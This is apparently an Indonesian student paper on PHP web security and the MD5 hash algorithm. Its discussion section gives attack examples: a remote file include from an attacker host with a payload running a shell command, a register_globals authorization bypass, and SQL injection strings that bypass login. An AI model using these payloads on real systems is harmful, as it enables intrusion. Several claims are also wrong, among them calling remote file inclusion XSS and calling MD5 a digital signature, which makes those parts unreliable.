• Tidak ada hasil yang ditemukan

MD5

N/A
N/A
Protected

Academic year: 2021

Membagikan "MD5"

Copied!
25
0
0

Teks penuh

(1)

Keamanan Pada Aplikasi Web dengan PHP

Implementasi Metode MD5 Kriptography Pada Aplikasi Web

Nama : Anda Maramiz

NIM : 59061002005

Fakultas Ilmu Komputer

Universitas Sriwijaya

(2)

Pendahuluan

Komunikasi adalah hal yang mendasar dari kehidupan manusia. Dikarenakan manusia

adalah mahluk sosialis maka manusia tidak akan berhenti untuk saling berinteraksi satu sama

lain. Namun masalah timbul mana kala manusia yang berjauhan tempatnya ingin

berkomusikasi. Manusia kemudian berinisiatif untuk membangun alat komunikasi seperti

contohnya telegraf, radio, dan telepon. Namun alat-alat komunikasi tersebut tidak dapat

mencukupi kebutuhan manusia akan komunikasi yang cepat dan efektif. Maka kemudian

diciptakan Internet. Salah satu metode komunikasi yang sangat cepat dan hemat serta dapat

menjangkau seluruh belahan dunia.

Sehingga sampai saat ini komunikasi menggunakan internet

sangat digemari oleh manusia dan mereka dapat menjelajahi dunia hanya dengan duduk di depan computer mereka sendiri.

Komunikasi dengan internet bukan hanya terfokus pada komunikasi antara sesama manusia namum mulai merambah pada dunia kerja. Perusahaan-perusahaan dimana pun di dunia memakai teknologi ini. Setiap perusahaan mulai mempromosikan produk-produk andalan mereka melalui internet ataupun sekedar menyambungkan jaringan mereka ke internet untuk mencari informasi sebanyak-banyaknya. Penggunaan aplikasi website pun dilakukan demi terwujudnya keinginan perusahaan tersebut. Bahasa pemrograman yang cukup terkenal dan paling banyak dipakai untuk membuat aplikasi website adalah bahasa pemrograman PHP.

Namun persaingan yang tidak sehat antara perusahaan-perusahaan tersebut mengakibatkan munculnya tangan-tangan jahil yang ingin mengetahui atau merubah data atau isi komunikasi untuk kepentingan sepihak. Dan berkembang bukan hanya antara perusahaan-perusahaan namun berkembang pula dikalangan muda yang didukung oleh mudahnya mendapatkan referensi atau buku mengenai cara mengubah atau mengetahui data atau isi komunikasi. Karena itu pentingnya menjaga kerahasiaan data atau integritas data sangatlah penting demi menghindari kejadian-kejadian yang merugikan.

Penggunaan aplikasi website dengan menggunakan bahasa pemrograman PHP sangat banyak digunakan oleh para pengembang namun dari sisi keamanan data bahasa ini sangat rentan terhadap serangan. Rentannya bahasa pemrograman ini disebabkan oleh tangan-tangan jahil yang memanfaatkan kesalahan dalam pemrograman yang nanti akan dibahas lebih lanjut. Seperti yang kita ketahui, aplikasi website adalah konsumsi publik sehingga pengembang tidak akan dapat memastikan siapa pengguna atau user yang memakai aplikasi tersebut apakah pengguna ini berniat baik atau buruk. Untuk mengantisipasi permasalahan tersebut aplikasi website juga ditambah dengan penggunaan salah satu metode kriptography yaitu MD5 atau fungsi hash. Namun yang patut diketahui, penggunaan MD5 bukan untuk merahasiakan data atau pesan akan tetapi untuk menjaga

(3)

otentifikasi data sehingga data satu dengan data yang telah terkirim tidak akan diubah-ubah untuk kepentingan yang lain.

Metode Penelitian

Tulisan ini membahas mengenai bahasa pemrograman PHP, celah-celah kesalahan dalam bahasa tersebut, contoh pola serangan, dan MD5 kripthography serta peranannya dalam keamanan data dengan menggunakan studi literature terhadap website dan jurnal ilmiah.

(4)

PHP

PHP adalah bahasa pemrograman script yang paling banyak dipakai saat ini. PHP banyak

dipakai untuk memprogram situs web dinamis, walaupun tidak tertutup kemungkinan digunakan untuk pemakaian lain. PHP pertama kali diciptakan oleh Rasmus Lerdorf pada tahun 1995. PHP atau diciptakan menyerupai sebuah software yang tujuan utamanya adalah membantu pembuatan homepage pribadi dengan bahasa yang mudah digunakan. Selanjutnya Rasmus Lerdorf merilis script tersebut untuk public dan menamainya PHP/FI atau Hypertext Preprocessing'/Form Interpreter. Pada November 1997, dirilis kembali PHP/FI 2.0. Pada seri inilah PHP telah dilengkapi oleh program C yang berdampak pada kemudahan bahasa serta dilengkapi oleh modul-modul ekstensi yang meningkatkan kemampuan PHP/FI secara signifikan. Namun pada tahun yang sama, sebuah perusahaan bernama Zend milik 2 mahasiswa Israel menulis kembali bahasa PHP menjadi lebih bersih, lebih baik, dan lebih cepat. Kemudian pada Juni 1998, perusahaan tersebut merilis bahasa baru untuk PHP dan merilisnya sebagai PHP 3.0 dan menganti namanya menjadi personal homepage. Pada pertengahan tahun 1999, Zend merilis kembali bahasa PHP terbaru yang kita kenal sebagai PHP 4.0 yang merupakan versi yang banyak dipakai dikarenakan kemampuannya membangun aplikasi website kompleks akan tetapi tetap memiliki kecepatan dan stabilitas yang tinggi. Dan Juni 2004, Zend merilis PHP 5.0. Dalam versi ini inti dari bahasa PHP mengalami perubahan yang besar. Versi ini memasukan model pemrograman berorientasi objek kedalam bahasa PHP untuk menjawab perkembangan bahasa pemrograman kearah paradigma berorintasi objek.

Kelebihan-kelebihan pada bahasa pemrograman PHP adalah

Web server yang mendukung PHP dapat ditemukan dimana-mana dari mulai IIS sampai dengan apache, dengan configurasi yang relative mudah.

• Bantuan dan referensi dalam pengembangan bahasa PHP sangat mudah didapat dan ini sangat membantu mengembangan bahasa pemrograman ini.

• PHP adalah bahasa open source yang dapat digunakan di berbagai OS (linux, window, atau yang lainnya) dan dapat melakukan runtime melalui console serta dapat menjalankan perintah-perintah system.

Dari mulai penamaan file php menggunakan ekstensi .php seperti file-file html dan disimpan dalam file text biasa. Ada 4 macam cara penulisan source code PHP yaitu:

1. <? Echo (“bla…bla….bla”); ?> 2. <?php Echo (“bla…bla….bla”); ?>

(5)

4. <% echo ("bla…bla…bla"); %>

Namun cara yang paling sering dipakai adalah cara nomor 1 dan 2 dan sama seperti bahasa pemrograman C dan C++, PHP juga menyertakan ( ; ) pada akhir source code.

Dalam bahasa PHP juga mengenal proses looping ada 4 jenis looping pada PHP yaitu 1. Looping menggunakan while

Gambar 1

Seperti yang dapat kita lihat pada gambar, Syntax while pada PHP hampir menyerupai syntax pada bahasa pemrograman C dan C++. Sesuai kondisi while akan memproses ulang apa yang ada di dalam prosesnya dan berhenti ketika kondisi itu terpenuhi.

2. Looping menggunakan for

Gambar 2

Tak jauh berberda dengan looping menggunakan while dan syntaxnya tetap mengadopsi dari bahasa pemrograman C dan C++.

(6)

Gambar 3

Fungsi break; pada syntax diatas adalah untuk memberhentikan looping walaupun kondisi yang diinisialisasi diatas belum terpenuhi.

4. Continue Looping

Gambar 4

Fungsi continue dalam syntax diatas hanya untuk melanjutkan looping setelah memasuki sebuah kondisi. Namun perintah ini jarang digunakan dikarenakan jika tidak memakai perintah ini looping akan tetap berjalan setelah memasuki kondisi ini. Setelah cara penulisan dan looping pada PHP hal penting yang harus diketahui dari PHP adalah sub-rutin. Sub-rutin adalah sebuah potongan program yang diberi nama dan dapat dipanggil berkali-kali. Dan dalam bahasa pemrograman terdapat 2 jenis sub-rutin yaitu prosedur dan fungsi. Dan cara penulisan sub-rutin adalah

(7)

{ Isi dari program atau sub-rutin }

Fungsi pun ada 5 jenis sesuai dengan kebutuhannya yaitu fungsi require, funsi include, fungsi string, fungsi date dan time dan fungsi variabel.

Fungsi Require

Definisi dari fungsi require adalah fungsi yang dapat membaca nilai variable dan fungsi-fungsi dari file PHP yang lainnya.

Cara penulisan fungsi require adalah require(“nama file”);

Namun fungsi ini tidak dapat dimasukan dalam proses looping baik itu for ataupun while dikarenakan fungsi ini hanya diperbolehkan memanggil file yang sama satu kali saja.

Fungsi Include

Definisi dari fungsi include adalah fungsi yang dapat memanggil keseluruhan isi file tertentu. Cara penulisan fungsi include adalah include(“nama file”);

Lain halnya dengan fungsi require, fungsi include dapat dimasukan dalam proses looping.

Fungsi String

Dibandingkan dengan fungsi sebelumnya, fungsi string adalah fungsi yang paling banyak memiliki syntax namun pada tulisan ini hanya akan dibahas sebagian saja. Definisi dari fungi string adalah fungsi yang digunakan untuk memanipulasi data string yang ada dalam file PHP.

Contoh fungsi string adalah 1. Addslashes

Fungsi ini digunakan untuk menambah karakter backslash pada suatu string. Hali ini penting digunakan pada query string untuk database, misalnya pada database MySql. Sintax : addslashes(string).

2. Crypt

Fungsi ini digunakan untuk mengacak data atau men-encrypt data dengan modul DES. Fungsi ini sering digunakan untuk mengacak password yang ada dalam database. Dalam syntax crypt terdapat parameter yang sering disebut sebagai salt. Parameter salt berfungsi untuk menentukan basis pengacakan oleh PHP namun

(8)

jikalau parameter salt tidak terisi maka engine PHP akan menentukan sendiri basis pengacakannya.

Sintax : crypt(string[,salt]). 3. Echo dan print.

Fungsi ini digunakan untuk mencetak atau menampilkan isi suatu text dan argunem ke browser.

Sintax : echo (string argumen1, …); atau print (string argumen1, …); 4. Explode

Fungsi ini digunakan untuk memecah suatu string berdasarkan suatu tanda pemisah tertentu kemudian memasukannya ke dalam suatu variable tertentu.

Sintax : explode (string pemisah, string[, int limit]);

Fungsi Date dan Time

Fungsi date dan time berfungsi untuk memanggil tanggal dan jam sekarang. Dan kemudian menulis kembali sebagai hasil akhir dalam format yang diinginkan.

Contoh fungsi date dan time : 1. Getdate

Fungsi ini digunakan untuk menghasilkan waktu yang keluarannya menjadi array. Dan pemanggilannya memakai kata kunci seperi hour untuk jam dan minute untuk menit sebagai variable array.

Sintax : getdate(); 2. Checkdate

Fungsi ini digunakan untuk mengecek apakah format tulisan telah benar. Sintax : checkdate($bulan,$hari,$tahun);

Fungsi Variabel

Fungsi ini berfungsi sederhana yaitu menginisialisasi nilai suatu variable atau untuk mengecek keberadaan variable.

(9)

Contoh dari fungsi variable :

Fungsi Variabel Keterangan

Duoblevar($var) Mengubah variable $var menjadi double.

Isset($var) Memeriksa apakah variable $var

telah didefinisikan sebelumnya. Is_array($var) Memeriksa apakah variable $var

adalah sebuah array.

Kriptography

Seperti yang telah dijelaskan diawal bahwa di zaman persaingan seperti sekarang ini sangat penting untuk menjaga kerahasiaan data. Dan untuk menjawab permasalahan tersebut terdapat suatu metode keamanan data yaitu kriptography.

Kriptography adalah sebuah ilmu dan dapat pula diibaratkan sebagai seni yang mengatur kerahasiaan data dan menyembunyikan informasi untuk mencegah pihak yang tidak berhak membacanya atau pihak yang tidak bertanggung jawab yang ingin merubahnya. Dan proses kriptography ini dibutuhkan sebuah algoritma tertentu untuk merubah tampilan datanya menjadi tidak dimengerti. Kriptography terbagi menjadi dua yaitu kriptography klasik dan kriptography modern. Kriptography klasik lebih menekankan pada kerahasiaan algoritmanya sehingga jikalau kerahasiaan algoritmanya telah terbongkar maka algoritma tersebut tidak dapat dipakai lagi. Namun pada kriptography modern, kerahasiaan bukan bertumpu pada algoritmanya namun bertumpu pada kerahasiaan kuncinya. Dengan kata lain algoritmanya dapat diketahui publik dengan mudah namun karena itu lah algoritma tersebut dapat dicoba oleh para criptanalist seberapa tangguh algoritma tersebut. Semakin banyak waktu dan biaya yang dikeluarkan untuk memecahkan algoritma tersebut maka semakin tangguh lah algoritma tersebut.

Dalam kriptography terdapat 2 proses yaitu enkripsi dan dekripsi. Enkripsi adalah proses merubah sebuah tampilan data menjadi bentuk yang tidak terbaca tanpa kunci tertentu. Tujuannya adalah untuk menjaga privasi atau kerahasiaan data dari orang-orang yang tidak ditujukan. Sedangkan proses dekripsi adalah proses mengembalikan tampilan data dari proses enkripsi menjadi bentuk semula. Proses enkripsi dan dekripsi pada umumnya membutuhkan kunci untuk meng-kriptography komunikasi data. Dan ini membedakan teknologi kriptography menjadi symmetric key dan asymmetric key.

(10)

Symmetric key adalah algoritma kriptography yang hanya membutuhkan kunci yang sama untuk meng-enkripsi dan meng-deskripsi data sedangkan asymmetric key adalah algoritma kriptography yang membutuhkan 2 kunci masing-masing untuk meng-enkripsi dan meng-deskripsi data. Namun kriptography saat ini bukan hanya terpaku pada enskripsi dan deskripsi saja namun kriptography juga telah menyiapkan teknologi yang dipakai untuk menjaga otentifikasi dan integritas data. Digital Signature yang lebih sering kita kenal sebagai MD5 kriptography.

MD5 kriptography digunakan secara luas dalam dunia perangkat lunak untuk menyediakan semacam jaminan bahwa file yang diambil (download) belum terdapat perubahan. Seorng user dapat membandingkan MD5 sum yang dipublikasikan dengan checksum dari file yang diambil. Dengan asumsi bahwa checksum yang dipublikasikan dapat dipercaya dan tejamin keasliannya, seorang user dapat secara yakin bahwa tersebut adalah file yang sama dengan file yang dirilis oleh para developer, jaminan perlindungan dari Trojan Horse dan virus komputer yang ditambahkan pada perangkat lunak. Bagaimanapun juga, seringkali kasus yang terjadi bahwa checksum yang dipublikasikan tidak dapat dipercaya (sebagai contoh, checksum didapat dari channel atau lokasi yang sama dengan tempat mengambil file), dalam hal ini MD5 hanya mampu melakukan error-checking. MD5 akan mengenali file yang didownload tidak sempurna, cacat atau tidak lengkap.

Prinsip kerja dari fungsi hash ini adalah mengambil pesan yang mempunyai panjang variable dan diubah menjadi ‘sidik jadi’ yang mempunyai panjang variable tetap yaitu 128 bit. ‘Sidik jari’ ini tidak dapat dibalik untuk mendapatkan pesan, dengan kata lain tidak ada orang yang dapat melihat pesan dari ‘sidik jari’tersebut. Dan fungsi inti MD5 adalah untuk melindungi data dari modifikasi yang tidak terdeteksi, dapat dihitung hasil fungsi hash dari data tersebut, selanjutnya dapat menghitung hasil fungsi hashnya lagi dan membandingkannya dengan hasil fungsi hash yang sebelumnya apabila terjadi perubahan selama pengiriman.

Gambar 5 1 3 2 6 7 10 9 11 5 4 8 x1 x1 ‘ x1 ‘ x1

(11)

Keterangan :

1. Message

2. Fungsi hash atau MD5 3. Proses enkripsi data 4. Kunci publik

5. Penyertaan digital signature pada message asli 6. Message

7. Digital signature 8. Fungsi hash atau MD5 9. Proses dekripsi data 10. Kunci private 11. Perbandingan

Pada proses diatas dapat kita lihat dengan jelas bahwa MD5 atau fungsi hash tidak ditujukan untuk merahasiakan data namun untuk pengecekan kebenaran data. Dimulai dari pesan yang akan dikirim oleh pihak pengirim, terdapat 2 proses yaitu pengiriman pesan langsung dan proses peng-enkripsian data ditambah penyertaan ‘sidik jari’. Proses penambahan sidik jari dimulai dari merubah pesan menjadi 128 bit dan kemudian di enkripsi oleh kunci public dan disertakan ke dalam pesan yang asli. Kemudian proses dilanjutkan kepada pihak penerima proses pun terbagi menjadi 2 menjadi pembuatan ’sidik jari’ dan kemudian peng-deskripsian digital signature yang telah disertakan sebelumnya. Jika pesan yang baru saja dibuat ‘sidik jarinya’ dan hasil deskripsi dari digital signature sebelumnya dinyatakan sama, maka pesan yang terkirim telah sepenuhnya benar dan tidak dibubuhi oleh virus atau dirusak ditengah jalan.

(12)

Pembahasan

Sepeti yang telah dijelaskan sebelumnya bahwa tulisan ini membahas tentang kesalahan-kesalahan atau vulnerability yang ada pada bahasa PHP. Kelemahan keamanan bahasa PHP meliputi

1. Program script php yang kita buat dan pada konfigurasi.

2. Program PHP itu sendiri yang kita jalankan modul atau CGI ( vulnerability bawaan ). 3. Program web server yang berinteraksi dengan program PHP.

Namun pada tulisan ini hanya akan membahas tentang masalah keamanan no. 1.

Kode PHP yang tidak dieksekusi dengan PHP

Fungsi-fungsi PHP yang telah dijelaskan sebelumnya telah menjelaskan sedikit tentang fungsi include dan require untuk kemudahan scripting. Contoh dari fungsi include dan require adalah memisahkan antara kode PHP yang berisi fungsi-fungsi, class-class, atau konfigurasi dengan PHP untuk implementasinya. Jika include file adalah kode PHP yang akan dieksekusi, maka pastikanlah file tersebut diparsing atau di-saveas sebagai file PHP misalnya config.inc.php atau jika ingin menggunakan ektensi .inc pastikan konfigurasi webserver membuat file tersebut diparsing sebagai file PHP. Kemudian tambahakan script agar ketika file diakses secara langsung oleh user, maka hanya akan didapatkan baris kosong atau langusng diredirect ke halaman lain.

if ( $_SERVER['PHP_SELF'] ) { header("Location: ../index.html'); }

atau setup pada webserver agar tidak dapat menrequest file berekstensi.inc misalnya pada Apache, kita dapat menambahakan konfigurasi seperti ini :

<Files ~ "\.inc$"> Order allow, deny Deny from all </Files>

Hal tersebut diatas dilakukan untuk menghindari attacker mendapatkan source kode file karena file dikirim tanpa dieksekusi. Jika attacker bisa mendapatkan file source kode maka akan membuat mudah bagi mereka untuk mencari lubang kemanan di aplikasi.

(13)

Variabel auto global

Vulnerability dan kelemahan dalam aplikasi yang menggunakan bahasa pemrograman PHP sebagian besar disebabkan oleh kemampuan variable autoglobal. Dikarenakan mulai dari bahasa pemrograman PHP versi 4.3.1 sudah membuat default autoglobal dan pada PHP versi ini variable aotu global bernilai off. Sebenarnya, dengan adanya fasilitas autoglobal pada variable, pengembang atau programmer diberikan kemudahan. Namum kemudahan ini pula yang menyebabkan terjadinya lubang pada keamanan. Dengan fasilitas ini suatu variable misalnya $x tidak perlu dideklarasikan dahulu dan bisa merupakan variable session, variable cookie, dan variable GET/POST.

Variable session adalah Suatu variabel dalam PHP digunakan untuk menyimpan informasi atau mengubah setting user pada suatu session. Variabel session menangani informasi tentang satu user dan bisa diakses untuk semua halaman dalam aplikasi.

Variabel cookies adalah suatu mekanisme penyimpanan data pada browser yang digunakan untuk mengindentifikasi pemakai. Cookie bisa diatur dengan menggunakan fungsi setcookie(). Cookie merupakan bagian dari HTTP header, sehingga fungsi stecookie() harus dipanggil sebelum ada keluaran apapun dikirim kebrowser, sama seperti keterbatasan yang dimiliki header(). Setiap cookie yang dikirim dari client secara otomatis diterima PHP sebagai variable sama seperti metode GET dan POST, tergantung dari konfigurasi variable register_globals dan variables_order. Jika akan menyimpan banyak nilai pada sebuah cookie, tinggal ditambahkan [] pada nama cookie.

Akibat lubang kemanan tersebut bisa mengakibatkan : o Denial of Service

o Authentication failure o Account Hijacking o Perusakan tampilan/layout o Implantasi virus web browser o Dan lain-lain

Kebanyak aplikasi PHP yang ditemukan lubang keamanannya akibat varibel autoglobal ini adalah aplikasi yang open source, karena user dapat mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan. Dan dapat dengan mudah dimanipulasi oleh hacker/cracker.

(14)

Fungsi include(), require() atau fopen()

Akibat dari mekanisme auto global yang telah kita bahas sebelumnya, suatu variable dalam bahasa pemrograman PHP menjadi tidak jelas jenisnya. Sehingga jenis variable pun tidakdapat dibedakan antara variable dari GET/POST, variable dari ENVIRONTMENT atau variable COOKIES/SESSION. Akibatnya suatu variable apa saja yang kita definisikan dapat dengan mudah kita isi dengan nilai dari variable GET atau POST.

Kelemahan yang biasa muncul ketika digunakan variable untuk parameter fungsi include(), fungsi require(), atau fungsi fopen(). Kita tahu dengan fungsi-fungsi tersebutkita dapat melakukan eksekusi file PHP dari file lain baik pada file dari disk local ataupun file dari situs lain. Jika variable untuk parameter fungsi tersebut diketahui, maka attacker dapat mengganti nilai variable tersebut dengan mengirimkan nilai variable lewat metode GET atau POST.

Contoh dibawah ini adalah vulnerability akibat menggunakan varibel pada fungsi include(). Perhatikan kode dibawah ini :

include($phpgw_info["server"]["include_root"]."/phpgwapi/phpgw_info.inc.php");

Kode tersebut tidak aman karena --walaupun menggunakan varibel array, variable $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau diganti dengan sebuah url lain misalnya

http://attacker/phpgwapi/phpgw_info.inc.php,

dimana file phpgw_info.inc.php dapat berisi kode php yang bisa dieksekusi oleh server korban/victim, misalnya berupa kode :

<?php

$phpcode = 'echo("Hi there!<BR>");passthru("id");';

if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP") echo("<?php $phpcode ?>"); else eval($phpcode); exit(); ?>

(15)

Kejadian seperti diatas, dimana suatu kode php dari situs lain diambil agar dieksekusi di server korban sering disebut Cross Site Scripting (XSS).

Pengecekan kondisi dengan jenis varibel yang tidak jelas

Proses otentifikasi ataupun autorisasi seringkali dilakukan dengan mengecek kondisi yang membandingkan variable GET/POST yang diberikan user ataupun variable dari session/cookies dengan suatu nilai. Misalkan suatu halaman melakukan otentifikasi dengan kode seperti dibawah ini: <?php session destroy() session_start(); $session_auth = "admin"; session_register("session_auth"); ?>

dan kemudian sebuah halaman menggunakan autorisasi dengan cara mengecek varibel "session_auth" seperti ini:

<?php

if (!empty($session_auth)) {

// Kode jika autorisasi berhasil disini }

?>

Kode pengecekan tersebut tidaklah aman, sebab dengan mudah attacker dapat mengakses halaman tersebut dengan URL seperti http://victimhost/page.php?session_auth=1 yang dapat membuat kondisi pada if diatas menjadi TRUE. Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel dari GET/POST dan varibel cookie.

(16)

SQL Injection

Akibat lain dari varibel autoglobal adalah eksploitasi dengan SQL Injection. SQL injection berarti memanipulasi suatu query atau memasukan suatu query dengan menggunakan query lain. Cara ini dapat dilakukan karena pada program yang dibuat terdapat query yang menggunakan varibel. Dibawah ini adalah contoh request yang mencoba melakukan SQL injection pada query yang memiliki varibel $search.

http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query] Varibel $search diatas bernilai "a' order by time desc; [query]" [query] dapat berisi SQL query baru yang lengkap yang membahayakan, misalnya query untuk menghapus database/tabel. Dibawah ini adalah contoh bagaimana terjadinya account hijacking dengan cara SQL injection yang terjadi pada aplikasi portal PHP-Nuke & Post-Nuke. Query pada kode dibawh ini tidak aman karena ada variabel yang nilainya diambil dari cookie. Karena cookie disimpan di client, user dapat dengan mudah mengganti cookie-nya.

/* kode pada modules/News/article.php */ if ($save AND is_user($user)) {

cookiedecode($user);

sql_query("update ".$user_prefix."_users set umode='$mode', " "uorder='$order', thold='$thold' where uid='$cookie[0]'", $dbi); getusrinfo($user); $info = base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:". "$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:". "$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); }

Kesalahan pada kode diatas adalah bagian eksekusi query "where uid='$cookie[0]'" yang mengambil varibel untuk uid dari cookie. Untuk mengeksploit vulnerabity ini maka kita perlu membuat account (valid user) untuk melewati "if($save AND is_user($user))" kemudian mengubah

(17)

cookie dengan men-base64_decode kemudian mengubah dengan bagian username, men-base64-encode cookie kemudian melakukan request dengan save=1 pada article.php lewat modules.php Contoh lain adalah DoS dengan menggunakan metode SQL Injection pada situs PHPNuke dengan request seperti ini :

http://www.nukesite.com/modules.php?name=News&file=article&sid=1234%20or%201=1 perhatikan bagian "sid=1234%20or%201=1" yang berarti "sid = 1234 or 1=1". Bagian tersebut yang diinjeksikan ke query database. Metoda injeksi SQL dengan operator bolean OR kemudian diikuti ekpresi yang bernilai benar/true merupakan metoda yang umum. Contoh berikut memperlihatkan cara tersebut untuk mendapatkan account administrator dari database. Perhatikan kode untuk query database berikut:

$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'"; Attacker dapat memberikan nilai variabel $user dan $pass dari GET/POST tapi dengan sedikit trik pengecekan password bisa dihindari. Jika kita mengirimkan varibel $user dengan isi "admin' OR 1=1 ##" maka query tersebut akan menjadi

SELECT * FROM users WHERE username='admin' OR 1=1 ##' password=''

Setelah tanda # pada query tersebut akan dianggap komentar oleh database, sehingga jika query tersebut digunakan untuk proses otentikasi user dengan cara:

if ( mysql_num_row($query) < 0 ) { echo "You're suck!"; exit(); }

maka attacker telah berhasil melewati proses otentikasi tanpa perlu tau password administrator.

Penjelasan diatas adalah beberapa contoh vulnerability atau kelemahan yang ada didalam bahasa pemrograman PHP dan salah satu antisipasi yang dapat kita lakukan untuk mencegahnya adalah melakukan autentifikasi dengan menggunakan MD5.

MD5 memproses teks masukan ke dalam blok-blok bit sebanyak 512 bit sebanyak 16 buah. Keluaran dari MD5 berupa 4 blok yang masing-masing 32 bit yang mana akan menjadi 128 bit yang biasa disebut dengan nilai hash.

(18)

Gambar 6

Simpul utama MD5 mempunyai blok pesan dengan panjang 512 bit yang kemudian dimasukan ke dalam 4 buah ronde. Dan hasil keluaran dari MD5 adalah berupa 128 bit dari byte terendah A yaitu ronde 1 dan byte tertinggi D yaitu ronde 2.

Setiap pesan yang akan dienkripsi terlebih dahulu dicari berapa banyak bit yang terdapat pada pesan. Kita dapat mengangap bahwa pesan yang akan kita enkripsi adalah pesan yang memiliki L bit. Disini L adalah non negative integer, L dapat pula NULL dan tidak harus keliapatan delapan. Pesan dengan panjang L bit dapat diidentifikasikan sebagai berikut :

y_0 y_1 y_2 y_3 … y_(L-1).

P e s a n 1 0 0 0 . . . 0 0 0 P a n j a n g P e s a n K b i t P a d d i n g b i t s K m o d 26 4 L x 5 1 2 b i t Y 0 Y 1

. . .

Yq

. . .

Y L - 1 5 1 2 5 1 2 5 1 2 5 1 2 HM D 5 HM D 5 A B C D 5 1 2 5 1 2 1 2 8 1 2 8 1 2 8 HM D 5 5 1 2 1 2 8 1 2 8 HM D 5 5 1 2 1 2 8 1 2 8 M e s s a g e D i g e s t ( 1 - 5 1 2 b i t ) Gambar 7

BLOCK PESAN (512 bit)

(19)

Terdapat 4 langkah yang menjelaskan Gambar diatas yang mana kita tempuh untuk mencari ‘sidik jari’ atau inti dari pesan yaitu menambah bit, menambah panjang pesan, inisialisasi MD5, dan proses pesan dalam blok 16 word.

Menambah bit

Pesan akan ditambahkan bit-bit tambahan sehingga panjang bit akan kongruen dengan 448 mod 512. Hali ini berarti pesan akan mempunyai panjang yang hanya kurang 64 bit dari kelipatan 512 bit. Penambahan bit selalu dilakukan walaupun panjang dari pesan sudah kongruen dengan 448 mod 512 bit. Penambahan bit dilakukan dengan menambahkan “1” diawal dan diikuti “0” sebanyak yang diperlukan sehingga pesan akan kongruen dengan 448 mod 512.

Penambahan Panjang Pesan

Setelah penambahan bit, pesan masih membutuhkan 64 bit agar kongruen dengan kelipatan 512 bit. 64 bit tersebut merupakan perwakilan dari L (panjang pesan sebelum penambahan bit dilakukan). Jika panjang pesan > 264 maka yang diambil adalah panjangnya dengan modulo 264.

Dengan kata lain, jika panjang pesan semula adalah L bit, maka 64 bit yang ditambahkan menyatakan K modulo 264. Setelah ditambah dengan 64 bit, panjang pesan sekarang adalah 512 bit. Penambahan

pesan ini biasa disebut juga MD strengthening atau Penguatan MD.

Inisialisasi penyangga MD5

Pada MD5 terdapat empat buah word atau penyangga (buffer) yang masing-masing panjangnya 32 bit. Total panjang penyangga adalah 4 x 32 = 128 bit. Empat buah penyangga berfungsi untuk menginisialisasi message digest untuk pertama kali dan menampung hasil antara dan hasil akhir MD5.

Keempat penyangga ini diberi nama A, B, C , dan D. Setiap penyangga diinisialisasi dengan nilai-nilai hexadecimal dan berninali tetap.

• Word A : 01 23 45 67

• Word B : 89 AB CD EF

• Word C : FE DC BA 98

• Word D: 76 54 32 10

(20)

Pengolahan Pesan dalam Blok Berukuran 512 bit

Pesan yang telah melewati 3 proses tinggal melewatkan proses terakhir yaitu pengolahan pesan. Pesan dibagi menjadi L buah blok yang masing-masing panjangnya 512 bit (Y0 sampai YL – 1).

Setiap blok 512-bit diproses bersama dengan penyangga MD menjadi keluaran 128-bit, dan ini disebut proses HMD5. Gambaran proses HMD5 diperlihatkan pada Gambar 4.

]) 16 .. 1 [ , , (ABCD Y T f ABCDF q ]) 32 .. 17 [ , , (ABCDY T f ABCDG q ]) 48 .. 33 [ , , (ABCDY T f ABCD H q ]) 64 .. 49 [ , , (ABCD Y T f ABCDI q A B C D A B C D A B C D + + + + M D q M D q + 1 1 2 8 Y q 5 1 2

Gambar 8. Pengolahan blok 512 bit (Proses HMD5)

Proses HMD5 terdiri dari 4 buah putaran, dan masing-masing putaran melakukan operasi dasar

MD5 sebanyak 16 kali dan setiap operasi dasar memakai sebuah elemen T. Jadi setiap putaran memakai 16 elemen Tabel T.Pada Gambar 4, Yq menyatakan blok 512-bit ke-q dari pesan yang telah

ditambah bit-bit pengganjal dan tambahan 64 bit nilai panjang pesan semula. MDq adalah nilai

message digest 128-bit dari proses HMD5 ke-q. Pada awal proses, MDq berisi nilai inisialisasi

penyangga MD. Fungsi-fungsi fF, fG, fH, dan fI masing-masing berisi 16 kali operasi dasar terhadap

masukan, setiap operasi dasar menggunakan elemen Tabel T. Operasi dasar MD5 diperlihatkan pada Gambar 9.

(21)

a

b

c

d

g

+

+

+

C L Ss

+

X [ k ]

T [ i ]

Gambar 10. Operasi dasar MD5

Operasi dasar MD5 yang diperlihatkan pada Gambar 10 dapat ditulis dengan sebuah persamaan sebagai berikut:

a b + CLSs(a + g(b, c, d) + X[k] + T[i])

yang dalam hal ini,

a, b, c, d = empat buah peubah penyangga 32-bit (berisi nilai penyangga A, B, C, D)

g = salah satu fungsi F, G, H, I CLSs = circular left shift sebanyak s bit

X[k] = kelompok 32-bit ke-k dari blok 512 bit message ke-q. Nilai k = 0 - 15.

T[i] = elemen Tabel T ke-i (32 bit)

(22)

Fungsi fF, fG, fH, dan fI adalah fungsi untuk memanipulasi masukan a, b, c, dan d dengan ukuran 32-bit.

Masing-masing fungsi dapat dilihat pada Tabel 1.

Tabel 1. Fungsi-fungsi dasar MD5

Nama Notasi g(a, b, c, d)

fF F(b, c, d) (b c) (~b d)

fG G(b, c, d) (b d) (c ~d)

fH H(b, c, d) b c d

fI I(b, c, d) c (b ~ d)

Catatan: operator logika AND, OR, NOT, XOR masing-masing dilambangkan dengan ∧, ∨, ~,

Dari persamaan operasi dasar MD5 dapat dilihat bahwa masing-masing fungsi fF, fG, fH, dan fI

melakukan 16 kali operasi dasar.

Misalkan notasi

[abcd k s i] menyatakan operasi

a b + ((a + g(b, c, d) + X[k] + T[i])<<<s)

yang dalam hal ini <<<s melambangkan operasi circular left shift 32-bit atau pengeseran bit kekiri sebanyak s bit. Setelah putaran keempat, a, b, c, dan d ditambahkan ke A, B, C, dan D, dan selanjutnya algoritma memproses untuk blok data berikutnya (Yq+1). Keluaran akhir dari algoritma

MD5 adalah hasil penyambungan bit-bit di A, B, C, dan D. Dari uraian di atas, secara umum fungsi

hash MD5 dapat ditulis dalam persamaan matematis berikut: MD0 = IV

MDq + 1 = MDq + fI(Yq + fH(Yq + fG(YQ + fF(Yq + MDq))))

